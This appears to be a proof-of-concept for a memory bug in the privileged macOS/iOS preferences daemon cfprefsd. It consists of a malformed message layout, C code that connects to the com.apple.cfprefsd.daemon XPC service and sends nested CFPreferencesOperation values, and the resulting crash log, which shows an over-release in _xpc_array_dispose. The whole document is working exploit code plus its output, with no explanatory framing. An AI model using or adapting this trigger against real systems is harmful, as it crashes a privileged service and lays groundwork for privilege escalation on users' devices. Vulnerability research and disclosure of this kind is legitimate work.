1 poc_dict = {
2 "CFPreferencesOperation" = 5,
3 "CFPreferencesMessages" = [
4 {
5 "CFPreferencesOperation": 4
6 }
7 ]
8 }
1 #include <xpc/xpc.h>;
2
3 int main(int argc, const char * argv[]) {
4
5 xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
6 xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
7 printf("got message: %sn", xpc_copy_description(t));
8 });
9
10 xpc_connection_resume(conn);
11
12 xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
13 xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
14
15 xpc_object_t arr = xpc_array_create(NULL, 0);
16 xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
17 xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
18
19 xpc_array_append_value(arr, arr_elem1);
20 xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
21 xpc_connection_send_message(conn, hello);
22 xpc_release(hello);
23 return 0;
24 }
Thread 6 name: Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0 libobjc.A.dylib 0x21acd6b00 objc_object::release+ 16
1 libxpc.dylib 0x21b73bbc0 _xpc_array_dispose + 40
2 libxpc.dylib 0x21b73a584 _xpc_dispose + 156
3 libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose + 204
4 libxpc.dylib 0x21b73a584 _xpc_dispose + 156
5 libxpc.dylib 0x21b742418 _xpc_connection_mach_event + 872
6 libdispatch.dylib 0x21b528544 _dispatch_client_callout4 + 16
7 libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke + 340
8 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284
9 libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke + 476
10 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284
11 libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke + 432
12 libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread + 600
13 libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread + 312
14 libsystem_pthread.dylib 0x21b70cd00 start_wqthread + 4